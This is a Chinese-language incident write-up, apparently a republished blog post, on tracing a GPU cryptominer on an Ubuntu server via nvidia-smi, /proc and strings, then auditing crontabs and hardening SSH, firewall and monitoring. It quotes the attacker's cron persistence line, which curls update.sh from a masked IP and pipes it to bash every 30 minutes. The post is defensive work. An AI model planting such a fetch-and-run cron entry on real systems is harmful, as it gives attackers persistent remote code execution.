Ubuntu服务器GPU挖矿病毒排查实战:从异常进程到crontab定时任务清理
Ubuntu服务器GPU挖矿病毒排查实战从异常进程到crontab定时任务清理当服务器GPU资源突然被神秘进程占满而团队成员纷纷表示这不是我的程序时作为系统管理员的警报就该拉响了。上周五凌晨我们的监控系统突然发出GPU利用率持续95%以上的告警而当时所有已知的AI训练任务都已暂停——这场与挖矿病毒的遭遇战就此打响。1. GPU资源异常的第一现场取证凌晨2:17收到的告警邮件显示8块A100显卡的显存占用率整齐地维持在94.3%-94.7%之间这种反常的均匀分布立即引起了我的警觉。正常深度学习任务对多卡显存的占用应该存在合理波动而矿工程序为了最大化收益往往会精确控制每张显卡的负载。快速取证三件套nvidia-smi --query-gpuutilization.gpu,memory.used --formatcsv ps -aux | grep python lsof -p 可疑PID在nvidia-smi输出中所有GPU进程都指向同一个Python解释器但路径显示为/bin/python/anaconda3/pytorch/——这个精心设计的伪装路径暴露了三个破绽/bin/python应是二进制文件而非目录服务器实际安装的是miniconda3而非anaconda3路径中故意加入了深度学习框架名增加可信度注意新型挖矿病毒常伪装成/usr/bin/pythonX.X或/opt/cuda/等合法路径但总会存在目录层级异常或大小写错误等蛛丝马迹2. 进程伪装破解与病毒本体定位面对会自动重启的顽固进程仅靠kill命令治标不治本。通过/proc/PID/目录逆向追踪才是王道ls -l /proc/PID/exe # 查看真实可执行文件路径 cat /proc/PID/cmdline # 查看完整启动命令 ls -l /proc/PID/cwd # 查看进程工作目录在本次案例中/proc/3265/exe实际指向了/dev/shm/.pycache/minerd这个内存文件系统中的隐藏目录是病毒常用的藏身之处。进一步分析发现病毒文件具有典型特征文件特征正常Python程序挖矿病毒文件大小通常10MB15-50MB链接库依赖包含torch等仅有基础libc字符串信息框架相关含ETH/POOL等关键词文件修改时间近期与其他文件时间戳相同病毒鉴定三连击strings /dev/shm/.pycache/minerd | grep -iE pool|wallet|mine ldd /dev/shm/.pycache/minerd stat /dev/shm/.pycache/minerd3. 持久化机制排查与清理现代挖矿病毒往往采用多维度持久化方案需要系统性地斩断所有复活渠道3.1 crontab定时任务深度扫描基础命令crontab -l只能查看当前用户任务黑客常将任务分散在多个低权限账户中。以下脚本可一次性扫描所有用户计划任务#!/bin/bash LOG_FILE/var/log/cron_audit_$(date %Y%m%d).log for USER in $(getent passwd | cut -d: -f1); do echo [$USER] $LOG_FILE crontab -u $USER -l 21 $LOG_FILE echo -e \n $LOG_FILE done grep -v no crontab $LOG_FILE | less本次发现的恶意任务伪装成系统更新*/30 * * * * /usr/bin/curl -s http://185.xxx.xxx.xx/update.sh | bash /dev/null 213.2 系统服务与启动项检测除了crontab还需检查这些隐蔽角落systemctl list-units --typeservice --staterunning ls -la /etc/systemd/system/multi-user.target.wants/ ls -la /etc/init.d/3.3 动态链接库劫持检查高级病毒会劫持LD_PRELOAD实现隐蔽加载grep -r LD_PRELOAD /etc/ /home/ /root/4. 系统加固与事后防护清理病毒只是开始真正的挑战在于防止再次入侵。以下是我们采用的防御组合拳权限收紧四步走禁用root远程登录sed -i s/^PermitRootLogin.*/PermitRootLogin no/ /etc/ssh/sshd_config强制密钥认证sed -i s/^#PasswordAuthentication.*/PasswordAuthentication no/ /etc/ssh/sshd_config安装fail2ban防御爆破apt install fail2ban cp /etc/fail2ban/jail.conf /etc/fail2ban/jail.local设置sudo权限白名单visudo -f /etc/sudoers.d/admin_whitelist网络层防护# 安装并配置UFW防火墙 apt install ufw ufw default deny incoming ufw allow from 管理IP to any port 22 ufw enable持续监控方案# GPU异常监控脚本示例 while true; do GPU_LOAD$(nvidia-smi --query-gpuutilization.gpu --formatcsv,noheader,nounits) for load in $GPU_LOAD; do if [ $load -gt 90 ]; then echo GPU overload detected: $load% | mail -s GPU Alert adminexample.com break fi done sleep 300 done在云环境中最危险的往往是那些被遗忘的测试账户。清理完这次病毒后我们做了三件事删除了6个月未登录的僵尸账户为所有服务账户设置了IP白名单最重要的是——在Kubernetes集群部署了实时文件完整性监控FIM系统。安全防护没有银弹但多层防御至少能让入侵者付出更高代价。
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2426253.html
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!